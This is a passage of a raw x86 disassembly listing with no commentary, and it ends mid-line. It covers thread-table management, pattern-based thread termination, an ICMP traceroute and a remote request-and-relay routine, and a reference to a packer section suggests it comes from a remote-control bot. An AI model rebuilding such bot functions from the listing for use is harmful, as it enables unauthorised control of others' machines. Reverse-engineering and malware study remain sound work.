[ebp+var_4], ebx xor edx, edx lea eax, [ecx+8] loc_406DB1: ; CODE XREF: sub_406D58+63j cmp [eax], ebx jz short loc_406DCB inc edx add eax, edi cmp edx, 10h jl short loc_406DB1 loc_406DBD: ; CODE XREF: sub_406D58+47j ; sub_406D58+82j push [ebp+arg_4] call sub_4114CA ; free pop ecx jmp loc_406E5D ; --------------------------------------------------------------------------- loc_406DCB: ; CODE XREF: sub_406D58+5Bj mov eax, edx imul eax, 198h add eax, ecx mov [ebp+var_4], eax mov [eax], edx jz short loc_406DBD mov esi, [ebp+arg_4] mov eax, [ebp+var_4] cmp esi, ebx jz short loc_406DE8 mov [esi], eax loc_406DE8: ; CODE XREF: sub_406D58+8Cj mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] push eax mov eax, [ebp+var_4] push [ebp+arg_C] add eax, 14h push eax call sub_411766 ; vsprintf mov eax, [ebp+var_4] add esp, 0Ch mov ecx, esi mov [eax+4], ebx inc dword_419690 mov eax, [ebp+var_4] cmp esi, ebx jnz short loc_406E1B mov ecx, eax loc_406E1B: ; CODE XREF: sub_406D58+BFj add eax, 0Ch push eax push ebx push ecx push offset sub_406CB2 push ebx push ebx call sub_411760 ; _beginthreadex mov ecx, [ebp+var_4] add esp, 18h mov [ecx+8], eax mov eax, [ebp+var_4] cmp [eax+8], ebx jnz short loc_406E5A push esi call sub_4114CA ; free dec dword_419690 push edi lea eax, [ebp+var_4] push ebx push eax call sub_4114E8 ; memset add esp, 10h jmp short loc_406E5D ; --------------------------------------------------------------------------- loc_406E5A: ; CODE XREF: sub_406D58+E4j push 1 pop ebx loc_406E5D: ; CODE XREF: sub_406D58+26j ; sub_406D58+6Ej ... push offset dword_419678 call sub_40720B pop ecx pop edi mov eax, ebx pop esi pop ebx leave retn sub_406D58 endp ; =============== S U B R O U T I N E ======================================= sub_406E6F proc near ; CODE XREF: sub_4011C4+2DEp ; sub_401621+277p ... arg_0 = dword ptr 4 push esi mov esi, offset dword_419678 push edi push esi call sub_407200 mov edi, [esp+0Ch+arg_0] dec dword_419690 pop ecx push dword ptr [edi+8] call dword_4120AC ; CloseHandle push 198h push 0 push edi call sub_4114E8 ; memset push esi call sub_40720B add esp, 10h pop edi pop esi retn sub_406E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406EA9 proc near ; CODE XREF: sub_407A76+912p var_188 = byte ptr -188h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 188h push esi mov esi, [ebp+arg_0] test esi, esi push edi jz loc_406F80 push esi call sub_4059F0 test al, al pop ecx jz short loc_406F07 push esi call sub_41151C ; atoi mov edi, offset dword_419678 mov esi, eax push edi call sub_407200 pop ecx cmp esi, 10h pop ecx jnb short loc_406EFE imul esi, 198h mov eax, dword_419698 add eax, esi cmp dword ptr [eax+8], 0 jz short loc_406EFE mov dword ptr [eax+4], 1 loc_406EFE: ; CODE XREF: sub_406EA9+39j ; sub_406EA9+4Cj push edi call sub_40720B pop ecx jmp short loc_406F80 ; --------------------------------------------------------------------------- loc_406F07: ; CODE XREF: sub_406EA9+1Fj push ebx push esi push offset aS ; "*%s*" lea eax, [ebp+var_188] push 185h push eax call sub_41152E ; _snprintf mov edi, offset dword_419678 push edi call sub_407200 mov ebx, dword_419690 add esp, 14h xor esi, esi loc_406F35: ; CODE XREF: sub_406EA9+CDj mov eax, dword_419698 add eax, esi cmp dword ptr [eax+8], 0 jz short loc_406F6A lea ecx, [ebp+var_188] add eax, 14h push ecx push eax dec ebx call sub_40790B pop ecx test al, al pop ecx jz short loc_406F66 mov eax, dword_419698 mov dword ptr [esi+eax+4], 1 loc_406F66: ; CODE XREF: sub_406EA9+AEj test ebx, ebx jz short loc_406F78 loc_406F6A: ; CODE XREF: sub_406EA9+97j add esi, 198h cmp esi, 1980h jb short loc_406F35 loc_406F78: ; CODE XREF: sub_406EA9+BFj push edi call sub_40720B pop ecx pop ebx loc_406F80: ; CODE XREF: sub_406EA9+10j ; sub_406EA9+5Cj pop edi pop esi leave retn sub_406EA9 endp ; =============== S U B R O U T I N E ======================================= sub_406F84 proc near ; CODE XREF: sub_407A76+943p var_18C = dword ptr -18Ch var_188 = byte ptr -188h arg_0 = dword ptr 4 sub esp, 18Ch push ebp push esi mov esi, [esp+194h+arg_0] xor ebp, ebp cmp esi, ebp push edi jz loc_4070A5 push esi call sub_4059F0 test al, al pop ecx jz short loc_407008 push esi call sub_41151C ; atoi mov edi, offset dword_419678 mov esi, eax push edi call sub_407200 pop ecx cmp esi, 10h pop ecx jnb short loc_406FFC imul esi, 198h mov eax, dword_419698 add eax, esi cmp [eax+8], ebp jz short loc_406FFC dec dword_419690 mov esi, [eax+8] push 198h push ebp push eax call sub_4114E8 ; memset add esp, 0Ch push ebp push esi call dword_4120E4 ; TerminateThread push esi call dword_4120AC ; CloseHandle loc_406FFC: ; CODE XREF: sub_406F84+3Dj ; sub_406F84+4Fj push edi call sub_40720B pop ecx jmp loc_4070A5 ; --------------------------------------------------------------------------- loc_407008: ; CODE XREF: sub_406F84+23j push ebx push esi push offset aS ; "*%s*" lea eax, [esp+1A4h+var_188] push 185h push eax call sub_41152E ; _snprintf push offset dword_419678 call sub_407200 mov eax, dword_419690 add esp, 14h mov [esp+19Ch+var_18C], eax xor edi, edi mov ebx, 198h loc_40703B: ; CODE XREF: sub_406F84+113j mov eax, dword_419698 add eax, edi cmp [eax+8], ebp jz short loc_40708F dec [esp+19Ch+var_18C] lea ecx, [esp+19Ch+var_188] add eax, 14h push ecx push eax call sub_40790B pop ecx test al, al pop ecx jz short loc_407089 mov eax, dword_419698 dec dword_419690 add eax, edi push ebx push ebp push eax mov esi, [eax+8] call sub_4114E8 ; memset add esp, 0Ch push ebp push esi loc_40707C: ; DATA XREF: kkrunchy:00415DF8o ; kkrunchy:00415E0Co ... call dword_4120E4 ; TerminateThread push esi call dword_4120AC ; CloseHandle loc_407089: ; CODE XREF: sub_406F84+D9j cmp [esp+19Ch+var_18C], ebp jz short loc_407099 loc_40708F: ; CODE XREF: sub_406F84+C1j add edi, ebx cmp edi, 1980h jb short loc_40703B loc_407099: ; CODE XREF: sub_406F84+109j push offset dword_419678 call sub_40720B pop ecx pop ebx loc_4070A5: ; CODE XREF: sub_406F84+14j ; sub_406F84+7Fj pop edi pop esi pop ebp add esp, 18Ch retn sub_406F84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070AF proc near ; DATA XREF: sub_40719C+1Co var_1B0 = dword ptr -1B0h var_1A4 = byte ptr -1A4h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h push 1A3h lea eax, [ebp+var_1A4] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov eax, dword_419690 add esp, 10h test eax, eax jz loc_407183 push esi push edi push 10h push eax lea eax, [ebp+var_1A4] push offset dword_4144F4 push eax call sub_4096CB mov esi, offset dword_419678 push esi call sub_407200 and [ebp+var_C], 0 and [ebp+arg_0], 0 add esp, 14h xor edi, edi loc_407112: ; CODE XREF: sub_4070AF+C5j mov eax, dword_419698 cmp dword ptr [edi+eax+8], 0 jz short loc_407165 push esi call sub_40720B mov [esp+1B0h+var_1B0], 3E8h call dword_4120A4 ; Sleep push esi call sub_407200 mov eax, dword_419698 pop ecx lea eax, [edi+eax+14h] push eax lea eax, [ebp+var_1A4] push [ebp+arg_0] push offset dword_4144E4 push eax call sub_4096CB mov eax, dword_419698 add esp, 10h cmp dword ptr [edi+eax+4], 0 jnz short loc_407176 loc_407165: ; CODE XREF: sub_4070AF+6Dj inc [ebp+arg_0] add edi, 198h cmp edi, 1980h jl short loc_407112 loc_407176: ; CODE XREF: sub_4070AF+B4j push esi call sub_40720B pop ecx pop edi xor eax, eax pop esi jmp short locret_407198 ; --------------------------------------------------------------------------- loc_407183: ; CODE XREF: sub_4070AF+2Fj lea eax, [ebp+var_1A4] push offset dword_4144C4 push eax call sub_4096CB pop ecx xor eax, eax pop ecx locret_407198: ; CODE XREF: sub_4070AF+D2j leave retn 4 sub_4070AF endp ; =============== S U B R O U T I N E ======================================= sub_40719C proc near ; CODE XREF: sub_407A76+6D3p arg_0 = dword ptr 4 push esi push 1A3h call sub_4114C4 ; malloc test eax, eax pop ecx jz short loc_4071D0 mov esi, [esp+4+arg_0] push esi push eax call sub_40457C push esi push offset sub_4070AF call sub_406C5D add esp, 10h test eax, eax jnz short loc_4071D0 push esi call sub_4114CA ; free pop ecx loc_4071D0: ; CODE XREF: sub_40719C+Ej ; sub_40719C+2Bj pop esi retn sub_40719C endp ; =============== S U B R O U T I N E ======================================= sub_4071D2 proc near ; CODE XREF: sub_4045B7+6p ; sub_406B98+1Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 18h push 0 push esi call sub_4114E8 ; memset mov eax, dword_4191E0 add esp, 0Ch test eax, eax jz short loc_4071F7 push 80000400h push esi call eax ; InitializeCriticalSectionAndSpinCount pop esi retn ; --------------------------------------------------------------------------- loc_4071F7: ; CODE XREF: sub_4071D2+19j push esi call dword_4120E8 ; InitializeCriticalSection pop esi retn sub_4071D2 endp ; =============== S U B R O U T I N E ======================================= sub_407200 proc near ; CODE XREF: sub_404639+11p ; sub_406D58+Cp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4120EC ; RtlEnterCriticalSection retn sub_407200 endp ; =============== S U B R O U T I N E ======================================= sub_40720B proc near ; CODE XREF: sub_404639+20Ep ; sub_406D58+10Ap ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4120F4 ; RtlLeaveCriticalSection retn sub_40720B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407216 proc near ; CODE XREF: sub_40287C+13p ; sub_40D6E0+44Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop esi pop ebp retn sub_407216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407227 proc near ; CODE XREF: sub_403338+14p ; sub_403338+20p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop esi pop ebp retn sub_407227 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407237 proc near ; CODE XREF: sub_4072FC+13Bp var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 0Ch call dword_41969C cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40725A push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_411778 ; printf pop ecx xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40725A: ; CODE XREF: sub_407237+12j push ebx push esi push edi push 8 lea eax, [ebp+var_C] push 0 push eax call sub_4114E8 ; memset movzx esi, [ebp+arg_10] mov al, [ebp+arg_8] push esi mov [ebp+var_C], al call sub_411772 mov ebx, eax push esi push 45h push ebx call sub_4114E8 ; memset add esp, 1Ch cmp [ebp+arg_10], 8 jnb short loc_407293 push 8 pop eax jmp short loc_407295 ; --------------------------------------------------------------------------- loc_407293: ; CODE XREF: sub_407237+55j mov eax, esi loc_407295: ; CODE XREF: sub_407237+5Aj lea esi, [eax+1Ch] push esi call sub_411772 pop ecx mov edi, eax push [ebp+arg_C] lea eax, [ebp+var_C] push esi push edi push eax movzx ax, [ebp+arg_10] push eax push ebx push [ebp+arg_0] push [ebp+var_4] call dword_4196A8 cmp eax, 1 jz short loc_4072CF call dword_41206C ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_4072DD ; --------------------------------------------------------------------------- loc_4072CF: ; CODE XREF: sub_407237+89j mov eax, [ebp+arg_4] mov ecx, [edi] mov [eax+4], ecx mov ecx, [edi+8] mov [eax+8], ecx loc_4072DD: ; CODE XREF: sub_407237+96j push [ebp+var_4] call dword_4196A4 push ebx call sub_41176C push edi call sub_41176C pop ecx pop ecx push 1 pop eax pop edi pop esi pop ebx leave retn sub_407237 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4072FC proc near ; DATA XREF: sub_40756C+C9o var_2D8 = byte ptr -2D8h var_135 = byte ptr -135h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D8h push ebx push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2D8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free xor ebx, ebx add esp, 10h cmp byte_4196B0, bl jnz short loc_407387 push offset aIcmp_dll ; "ICMP.DLL" call dword_41205C ; LoadLibraryA cmp eax, ebx mov dword_4196A0, eax jz loc_40752B mov esi, dword_412060 push offset aIcmpcreatefile ; "IcmpCreateFile" push eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" mov dword_41969C, eax push dword_4196A0 call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" mov dword_4196A8, eax push dword_4196A0 call esi ; GetProcAddress mov dword_4196A4, eax mov byte_4196B0, 1 loc_407387: ; CODE XREF: sub_4072FC+33j cmp dword_41969C, ebx jz loc_40752B cmp dword_4196A8, ebx jz loc_40752B cmp dword_4196A4, ebx jz loc_40752B lea eax, [ebp+var_135] push eax call dword_412254 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_18], eax jnz short loc_4073EB lea eax, [ebp+var_135] push eax call dword_41224C ; gethostbyname cmp eax, ebx jz loc_407466 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_18] push eax call sub_4114D0 ; memcpy add esp, 0Ch loc_4073EB: ; CODE XREF: sub_4072FC+C2j cmp [ebp+var_35], 1 mov [ebp+var_20], ebx mov byte ptr [ebp+arg_0], 1 jb loc_40752B loc_4073FC: ; CODE XREF: sub_4072FC+229j cmp [ebp+var_20], ebx jnz loc_40752B or [ebp+var_C], 0FFFFFFFFh xor esi, esi xor edi, edi cmp [ebp+var_30], ebx mov [ebp+var_14], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_1C], ebx mov [ebp+var_28], ebx mov [ebp+var_2C], ebx jbe short loc_407482 loc_407424: ; CODE XREF: sub_4072FC+184j cmp esi, ebx jnz short loc_407482 push 20h lea eax, [ebp+var_2C] push [ebp+var_34] push [ebp+arg_0] push eax push [ebp+var_18] call sub_407237 add esp, 14h test eax, eax jz loc_40752B mov eax, [ebp+var_2C] cmp eax, ebx jnz short loc_407476 mov eax, [ebp+var_24] add [ebp+var_1C], eax cmp eax, [ebp+var_C] jnb short loc_40745C mov [ebp+var_C], eax loc_40745C: ; CODE XREF: sub_4072FC+15Bj cmp eax, [ebp+var_4] jbe short loc_40747C mov [ebp+var_4], eax jmp short loc_40747C ; --------------------------------------------------------------------------- loc_407466: ; CODE XREF: sub_4072FC+D3j push offset aCouldNotResolv ; "Could not resolve name" call sub_411778 ; printf pop ecx jmp loc_40752B ; --------------------------------------------------------------------------- loc_407476: ; CODE XREF: sub_4072FC+150j push 1 mov [ebp+var_14], eax pop esi loc_40747C: ; CODE XREF: sub_4072FC+163j ; sub_4072FC+168j inc edi cmp edi, [ebp+var_30] jb short loc_407424 loc_407482: ; CODE XREF: sub_4072FC+126j ; sub_4072FC+12Aj mov eax, [ebp+var_28] cmp [ebp+var_14], ebx mov [ebp+var_10], eax jnz short loc_4074E8 mov eax, [ebp+var_1C] xor edx, edx div [ebp+var_30] push 2 push 4 mov [ebp+var_8], eax lea eax, [ebp+var_10] push eax call dword_412234 ; gethostbyaddr cmp eax, ebx jz loc_407534 movzx ecx, byte ptr [ebp+var_10+3] push ecx movzx ecx, byte ptr [ebp+var_10+2] push ecx movzx ecx, byte ptr [ebp+var_10+1] push ecx movzx ecx, byte ptr [ebp+var_10] push ecx push dword ptr [eax] movzx eax, byte ptr [ebp+arg_0] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push eax lea eax, [ebp+var_2D8] push offset dword_41459C push eax call sub_4096CB add esp, 2Ch jmp short loc_40750D ; --------------------------------------------------------------------------- loc_4074E8: ; CODE XREF: sub_4072FC+18Fj movzx eax, byte ptr [ebp+arg_0] push [ebp+var_14] mov [ebp+var_C], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx push eax lea eax, [ebp+var_2D8] push offset dword_414574 push eax call sub_4096CB add esp, 10h loc_40750D: ; CODE XREF: sub_4072FC+1EAj ; sub_4072FC+26Ej mov eax, [ebp+var_18] cmp eax, [ebp+var_10] jnz short loc_40751C mov [ebp+var_20], 1 loc_40751C: ; CODE XREF: sub_4072FC+217j inc byte ptr [ebp+arg_0] mov al, byte ptr [ebp+arg_0] cmp al, [ebp+var_35] jbe loc_4073FC loc_40752B: ; CODE XREF: sub_4072FC+47j ; sub_4072FC+91j ... pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407534: ; CODE XREF: sub_4072FC+1ACj movzx eax, byte ptr [ebp+var_10+3] push eax movzx eax, byte ptr [ebp+var_10+2] push eax movzx eax, byte ptr [ebp+var_10+1] push eax movzx eax, byte ptr [ebp+var_10] push eax push [ebp+var_4] movzx eax, byte ptr [ebp+arg_0] push [ebp+var_8] push [ebp+var_C] push eax lea eax, [ebp+var_2D8] push offset dword_414548 push eax call sub_4096CB add esp, 28h jmp short loc_40750D sub_4072FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40756C proc near ; CODE XREF: sub_407A76+9A3p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push esi push edi xor edi, edi cmp [ebp+arg_4], edi jnz short loc_40758D push offset unk_414620 push [ebp+arg_0] call sub_4096CB pop ecx loc_407587: ; CODE XREF: sub_40756C+E0j pop ecx jmp loc_407658 ; --------------------------------------------------------------------------- loc_40758D: ; CODE XREF: sub_40756C+Bj push 2ACh call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, edi jz loc_407658 push 1A3h push [ebp+arg_0] push esi call sub_4114D0 ; memcpy push [ebp+arg_4] lea eax, [esi+1A3h] push eax call sub_4114B8 ; _mbscpy add esp, 14h cmp [ebp+arg_8], edi jz short loc_4075E2 push [ebp+arg_8] call sub_41151C ; atoi cmp eax, 0FFh pop ecx jg short loc_4075E2 push [ebp+arg_8] call sub_41151C ; atoi pop ecx jmp short loc_4075E5 ; --------------------------------------------------------------------------- loc_4075E2: ; CODE XREF: sub_40756C+59j ; sub_40756C+69j push 1Eh pop eax loc_4075E5: ; CODE XREF: sub_40756C+74j cmp [ebp+arg_C], edi mov [esi+2A3h], al jz short loc_40760B push [ebp+arg_C] call sub_41151C ; atoi cmp eax, 927C0h pop ecx jg short loc_40760B push [ebp+arg_C] call sub_41151C ; atoi pop ecx jmp short loc_407610 ; --------------------------------------------------------------------------- loc_40760B: ; CODE XREF: sub_40756C+82j ; sub_40756C+92j mov eax, 7530h loc_407610: ; CODE XREF: sub_40756C+9Dj cmp [ebp+arg_10], edi mov [esi+2A4h], eax jz short loc_407626 push [ebp+arg_10] call sub_41151C ; atoi pop ecx jmp short loc_407629 ; --------------------------------------------------------------------------- loc_407626: ; CODE XREF: sub_40756C+ADj push 3 pop eax loc_407629: ; CODE XREF: sub_40756C+B8j mov [esi+2A8h], eax lea eax, [ebp+var_4] push eax push edi push esi push offset sub_4072FC push edi push edi call dword_4120BC ; CreateThread cmp eax, edi jnz short loc_407651 push esi call sub_4114CA ; free jmp loc_407587 ; --------------------------------------------------------------------------- loc_407651: ; CODE XREF: sub_40756C+D8j push eax call dword_4120AC ; CloseHandle loc_407658: ; CODE XREF: sub_40756C+1Cj ; sub_40756C+30j pop edi pop esi leave retn sub_40756C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40765C proc near ; CODE XREF: sub_4077A7+2Cp var_1108 = byte ptr -1108h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1108h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi mov ecx, [esi] lea ebx, [esi+4] lea edi, [esi+104h] push ebx push edi lea eax, [esi+204h] push dword ptr [ecx] push offset dword_414674 push eax call sub_4096CB push 2710h push 0 push offset dword_414670 push edi call sub_403C04 mov edi, eax add esp, 24h test edi, edi mov [ebp+var_4], edi jnz short loc_4076B4 xor al, al jmp loc_4077A2 ; --------------------------------------------------------------------------- loc_4076B4: ; CODE XREF: sub_40765C+4Fj push ebx lea eax, [ebp+var_108] push offset dword_414668 push eax call dword_4121EC ; wsprintfA lea eax, [ebp+var_108] push eax call sub_4114BE ; strlen inc eax push eax lea eax, [ebp+var_108] push eax push edi call sub_403D9D add esp, 1Ch test eax, eax jz loc_407795 lea eax, [ebp+var_1108] push 1000h push eax push edi call sub_403DB2 add esp, 0Ch test eax, eax jz loc_407795 cmp eax, 0FFFFFFFFh jz loc_407795 cmp [ebp+var_1108], 0 lea ebx, [ebp+var_1108] jz short loc_407791 mov edi, offset dword_419678 loc_407727: ; CODE XREF: sub_40765C+133j push ebx call sub_405A76 cmp byte ptr [ebx], 0 pop ecx mov [ebp+arg_0], eax jz short loc_40774A push offset dword_413F54 push ebx call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jz short loc_40774A push ebx jmp short loc_407759 ; --------------------------------------------------------------------------- loc_40774A: ; CODE XREF: sub_40765C+D8j ; sub_40765C+E9j lea eax, [ebp+var_1108] cmp ebx, eax jz short loc_407767 push offset dword_414664 loc_407759: ; CODE XREF: sub_40765C+ECj lea eax, [esi+204h] push eax call sub_4096CB pop ecx pop ecx loc_407767: ; CODE XREF: sub_40765C+F6j push 3E8h call dword_4120A4 ; Sleep push edi call sub_407200 mov eax, [esi] push edi mov ebx, [eax+4] call sub_40720B pop ecx test ebx, ebx pop ecx jnz short loc_407791 mov ebx, [ebp+arg_0] cmp byte ptr [ebx], 0 jnz short loc_407727 loc_407791: ; CODE XREF: sub_40765C+C4j ; sub_40765C+12Bj mov bl, 1 jmp short loc_407797 ; --------------------------------------------------------------------------- loc_407795: ; CODE XREF: sub_40765C+8Bj ; sub_40765C+A8j ... xor bl, bl loc_407797: ; CODE XREF: sub_40765C+137j push [ebp+var_4] call sub_403D70 pop ecx mov al, bl loc_4077A2: ; CODE XREF: sub_40765C+53j pop edi pop esi pop ebx leave retn sub_40765C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077A7 proc near ; DATA XREF: sub_40780C+87o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h lea eax, [ebp+var_3A8] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_3A8] push eax call sub_40765C add esp, 14h test al, al jnz short loc_4077FA lea eax, [ebp+var_2A4] push eax lea eax, [ebp+var_1A4] push offset dword_4146A0 push eax call sub_4096CB add esp, 0Ch loc_4077FA: ; CODE XREF: sub_4077A7+36j push [ebp+var_3A8] call sub_406E6F pop ecx xor eax, eax leave retn 4 sub_4077A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40780C proc near ; CODE XREF: sub_407A76+9C2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push esi jz loc_4078A0 push 3A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_4078A0 push [ebp+arg_4] lea eax, [esi+4] push eax call sub_4114B8 ; _mbscpy cmp [ebp+arg_8], 0 pop ecx pop ecx jz short loc_407852 push [ebp+arg_8] lea eax, [esi+104h] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx jmp short loc_40786E ; --------------------------------------------------------------------------- loc_407852: ; CODE XREF: sub_40780C+31j push edi lea edi, [esi+104h] push offset dword_4146DC push edi call sub_4114B8 ; _mbscpy push edi call sub_40B5E1 add esp, 0Ch pop edi loc_40786E: ; CODE XREF: sub_40780C+44j push 1A3h lea eax, [esi+204h] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4146BC push 0 push esi push offset sub_4077A7 call sub_406D58 add esp, 18h loc_4078A0: ; CODE XREF: sub_40780C+8j ; sub_40780C+1Dj pop esi pop ebp retn sub_40780C endp ; =============== S U B R O U T I N E ======================================= sub_4078A3 proc near ; CODE XREF: sub_4078A3+51p ; sub_40A236+125p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push edi loc_4078AD: ; CODE XREF: sub_4078A3+1Cj ; sub_4078A3+41j mov dl, [esi] mov cl, [eax] test dl, dl jnz short loc_4078C1 test cl, cl jz short loc_4078E6 cmp cl, 2Ah jnz short loc_407906 inc eax jmp short loc_4078AD ; --------------------------------------------------------------------------- loc_4078C1: ; CODE XREF: sub_4078A3+10j test cl, cl jz short loc_407906 cmp dl, cl jz short loc_4078E2 cmp cl, 3Fh jz short loc_4078E2 cmp cl, 23h jnz short loc_4078EA cmp dl, 30h jl short loc_4078DD cmp dl, 39h jle short loc_4078E2 loc_4078DD: ; CODE XREF: sub_4078A3+33j cmp dl, 23h jnz short loc_407906 loc_4078E2: ; CODE XREF: sub_4078A3+24j ; sub_4078A3+29j ... inc eax inc esi jmp short loc_4078AD ; --------------------------------------------------------------------------- loc_4078E6: ; CODE XREF: sub_4078A3+14j ; sub_4078A3+5Aj mov al, 1 jmp short loc_407908 ; --------------------------------------------------------------------------- loc_4078EA: ; CODE XREF: sub_4078A3+2Ej cmp byte ptr [eax], 2Ah jnz short loc_407906 lea edi, [eax+1] loc_4078F2: ; CODE XREF: sub_4078A3+61j push edi push esi call sub_4078A3 pop ecx test al, al pop ecx jnz short loc_4078E6 cmp [esi], al jz short loc_407906 inc esi jmp short loc_4078F2 ; --------------------------------------------------------------------------- loc_407906: ; CODE XREF: sub_4078A3+19j ; sub_4078A3+20j ... xor al, al loc_407908: ; CODE XREF: sub_4078A3+45j pop edi pop esi retn sub_4078A3 endp ; =============== S U B R O U T I N E ======================================= sub_40790B proc near ; CODE XREF: sub_406EA9+A5p ; sub_406F84+D0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi mov esi, [esp+8+arg_0] push edi loc_407916: ; CODE XREF: sub_40790B+1Dj ; sub_40790B+61j mov cl, [esi] test cl, cl jnz short loc_40792A mov cl, [eax] test cl, cl jz short loc_40796E cmp cl, 2Ah jnz short loc_40798E inc eax jmp short loc_407916 ; --------------------------------------------------------------------------- loc_40792A: ; CODE XREF: sub_40790B+Fj mov dl, [eax] test dl, dl jz short loc_40798E cmp cl, dl jz short loc_40796A cmp cl, 41h jl short loc_40793E cmp cl, 5Ah jle short loc_407948 loc_40793E: ; CODE XREF: sub_40790B+2Cj cmp cl, 61h jl short loc_407951 cmp cl, 7Ah jg short loc_407951 loc_407948: ; CODE XREF: sub_40790B+31j mov bl, cl xor bl, 20h cmp bl, dl jz short loc_40796A loc_407951: ; CODE XREF: sub_40790B+36j ; sub_40790B+3Bj cmp dl, 3Fh jz short loc_40796A cmp dl, 23h jnz short loc_407972 cmp cl, 30h jl short loc_407965 cmp cl, 39h jle short loc_40796A loc_407965: ; CODE XREF: sub_40790B+53j cmp cl, 23h jnz short loc_40798E loc_40796A: ; CODE XREF: sub_40790B+27j ; sub_40790B+44j ... inc eax inc esi jmp short loc_407916 ; --------------------------------------------------------------------------- loc_40796E: ; CODE XREF: sub_40790B+15j ; sub_40790B+7Aj mov al, 1 jmp short loc_407990 ; --------------------------------------------------------------------------- loc_407972: ; CODE XREF: sub_40790B+4Ej cmp byte ptr [eax], 2Ah jnz short loc_40798E lea edi, [eax+1] loc_40797A: ; CODE XREF: sub_40790B+81j push edi push esi call sub_40790B pop ecx test al, al pop ecx jnz short loc_40796E cmp [esi], al jz short loc_40798E inc esi jmp short loc_40797A ; --------------------------------------------------------------------------- loc_40798E: ; CODE XREF: sub_40790B+1Aj ; sub_40790B+23j ... xor al, al loc_407990: ; CODE XREF: sub_40790B+65j pop edi pop esi pop ebx retn sub_40790B endp ; =============== S U B R O U T I N E ======================================= sub_407994 proc near ; CODE XREF: sub_4079AC+A4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push 1 test ecx, ecx pop eax jz short locret_4079AB cmp ecx, eax jl short locret_4079AB loc_4079A3: ; CODE XREF: sub_407994+15j imul eax, [esp+arg_0] dec ecx jnz short loc_4079A3 locret_4079AB: ; CODE XREF: sub_407994+9j ; sub_407994+Dj retn sub_407994 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4079AC proc near ; CODE 